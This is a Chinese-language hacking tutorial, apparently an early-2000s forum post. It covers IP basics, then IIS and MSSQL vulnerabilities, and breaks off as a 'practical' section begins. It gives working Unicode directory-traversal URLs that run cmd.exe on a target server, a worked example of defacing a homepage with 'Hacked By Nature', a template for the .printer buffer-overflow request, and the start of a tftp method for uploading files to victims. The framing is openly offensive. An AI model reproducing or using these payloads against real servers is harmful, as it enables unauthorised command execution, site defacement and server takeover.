(一)系统基本知识
1.a.什么是IP:要是真的想说清楚什么是IP,那是一项很繁重的工作。简单的来说,IP就是所有Internet或是局域网上的主机的身份证。所有网络的机器连接起来后,每台机器都会有一个唯一的合法的IP地址,一台机器和别的指定的机器通讯都要依据IP来实现的。IP地址的写法为XXX.XXX.XXX.XXX。有四段数字组成,第一段数字可为1-255,后三段数字可为0-255,且所有的IP地址分为A、B、C、D、E五类,主要是A、B、C三类。其有效范围如下表所示:
类别 网络号 主机号
A 1~126 0~255 0~255 1~254
B 128~191 0~255 0~255 1~254
C 192~223 0~255 0~255 1~254
有关IP地址的问题可以查阅相关的资料,笔者在此就不再多耗笔墨了。呵呵~~~~~~~~~~~~~: p
1.b.怎样得到自己和别人的IP呢?以Windows 98为例:在“开始”―“运行”里输入:winipcfg。接着,Windows就会打开“IP 配置”。其中,在“Ethernet 适配器信息”―“IP 地址”会显示xxx.xxx.xxx.xxx,这就是你的IP。要想得到别人的IP,可以使用一些工具软件,不过最简单的使用Windows自带的一个小程序ping.exe。在MS-DOS命令行下输入ping www.xxx.com。会出现:
C:\ping www.xxx.com
Pinging www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data:
Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116
Ping statistics for xxx.xxx.xxx.xxx:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 120ms, Maximum = 630ms, Average = 187ms
其中:xxx.xxx.xxx.xxx 就是 http://www.xxx.com的网络服务器的IP地址。
2.a.Unicode漏洞:“Unicode漏洞”是微软IIS的一个重大漏洞。2001年最热门漏洞之一。下面我们来简要介绍一下它的原理。
IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含Unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。(Win NT4 编码为:%c1%9c ,Win2000 英文版 编码为:%c0%af)
假设目标主机为英文版Winodows 2k,IP为xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我们在浏览器里输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ,之后浏览器就会显示如下内容:
Directory of C:\inetpub\scripts
2002-02-08 15:49 〈DIR〉 .
2002-02-08 15:49 〈DIR〉 ..
2002-02-08 10:20 Index.html
2002-02-08 10:20 background.jpg
........................................
从上面的测试可以看出:"http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"后就是DOS命令了:"dir"
以此类推,我们可以利用浏览器远程执行任意命令,看下面的例子:
在浏览器里输入http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:\Nature,运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
但是,你其实仍然在目标主机的 D:\ 里建立了一个名为:Nature的文件夹。
2.b.利用Unicode漏洞我们还可以简单的修改目标主机的WEB文件。一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“” “”。如果你对这些命令不熟悉,可以键入以下命令以查看帮助文档,如:
C:\echo/?
显示信息,或将命令响应打开或关上。
ECHO [ON | OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。
管道工具“” “” 的不同之处
“”“”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。
“”将产生的内容追加进文件中,“”则将原文件内容覆盖。
IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%<”。如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+ d:\cnhack.bat
我们可以看到提示:
HTTP 500 - 内部服务器错误
Internet Explorer
所以我们如果要echo和的结合使用,就应该这样输入: http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+Hacked By Nature+ c:\inetpub\wwwroot\index.html (注意:这两个命令的区别是,后一个比前一个在cmd后多了一个"符号),完成后看它的主页已经被修改成了:Hacked By Nature 了。其实只要我们弄懂这个漏洞的使用,仅仅使用IE,我们就可以“黑”掉一个网站咯!就这么简单!
3.idq.dll缓冲区溢出漏洞。作为安装过程的一部分,IIS 安装了几个 ISAPI 扩展 .dlls 。其中的 idq.dll 存在问题,它是 Index Server 的一个组件,对管理员脚本(.ida文件)和Internet数据查询 (.idq文件)提供支持。但是,idq.dll 在处理一段URL输入的代码中存在一个未经检查的缓冲区。攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。而更为严重的是,idq.dll 是以 SYSTEM 身份运行的,攻击者成功利用此漏洞后能取得系统管理员权限。(SYSTEM权限相当于超级管理员权限,很值得注意!)Windows 2k和NT都受到了不同程度的影响。
4.IIS.printer漏洞(应用程序映射缓冲溢出):这也是近期比较流行的漏洞,国内国外仍有N台机器存在此漏洞。
微软Windows 2000 IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。默认情况下,IIS 5.0服务器存在一个后缀为"printer"的应用程序映射,这个映射使用位于\WINNT\System32\下的名为 msw3prt.dll 的动态库文件。这个功能是用于基于Web控制的网络打印的,是Windows2000为Internet Printing Protocol(IPP)协议而设置的应用程序功能。不幸的是,这个映射存在一个缓冲区溢出错误,可以导致inetinfo.exe出错,允许黑客通过web获取服务器的管理权限,黑客制造一个 .printer 的ISAPI请求,当Http host参数的值达到420个字符时,就会发生缓冲区溢出:
GET /NULL.printer HTTP/1.0
Host: [buffer] <---------------------------------当上述 [buffer]值的字符数目达到420时,缓冲区溢出。这时,Web服务器会停止响应
Windows2000操作系统发现Web异常停止后,会自动重启。通过构造包含适当的Shell Code的脚本, 黑客可以以system用户的身份,不停地远程通过web执行任何指令。这个漏洞的危害比IISHACK更大,原因是由于IIS4.0不自动重启的原因,用IIShack黑客只能获得一次Shell,而通过这个漏洞,黑客可以不停地利用。目前Internet上已经有了针对这个漏洞的exploit程序,可以绑定系统的cmd.exe程序,从而自由地执行指令。
5.MSSQL空密码漏洞:SQL服务器是一个非常强大的数据库。当然,这么庞大的程序漏洞也不少。超级管理员sa的默认密码为空,就是一个重大漏洞。SQL Server是运行于NT平台上的数据库,通常采用IIS作为网络服务器的NT服务器均采用SQL服务器作为数据库服务器。SQL服务器目前最高的版本是2000,但是通常比较常见的是6.5和7.0(包括SP1)。SQL服务器如果配置不当,将对NT系统本身造成很大的危害,在一般情况下都可以直接获得超级用户的权限。SQL 2000以前的版本在默认安装时的密码均为空,如果在安装的时候没有及时修改密码,无疑是为Windows NT系统打开了一道后门。
有关于系统漏洞的知识就先讲到这里。下面我们来看看怎么在实战中取得胜利,就是要动手干了啊!OK,Let's Go!
(二)实战演练阶段
1.Unicode漏洞实战篇(文中所提到的软件均可在黑白网络www.521hacker.com下载到。)
还记得我们在第一部分介绍的Unicode漏洞吗?可别告诉你没有什么印象啊!呵呵,我们就先来看看利用Unicode漏洞和tftp来上传文件的方法。也许你会问,什么是tftp呢?简单来说,tftp 就是让你的电脑变成一台服务器,让目标主机来下载你的文件,这样就可以达到上传的目的。在运行tftp32.exe之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服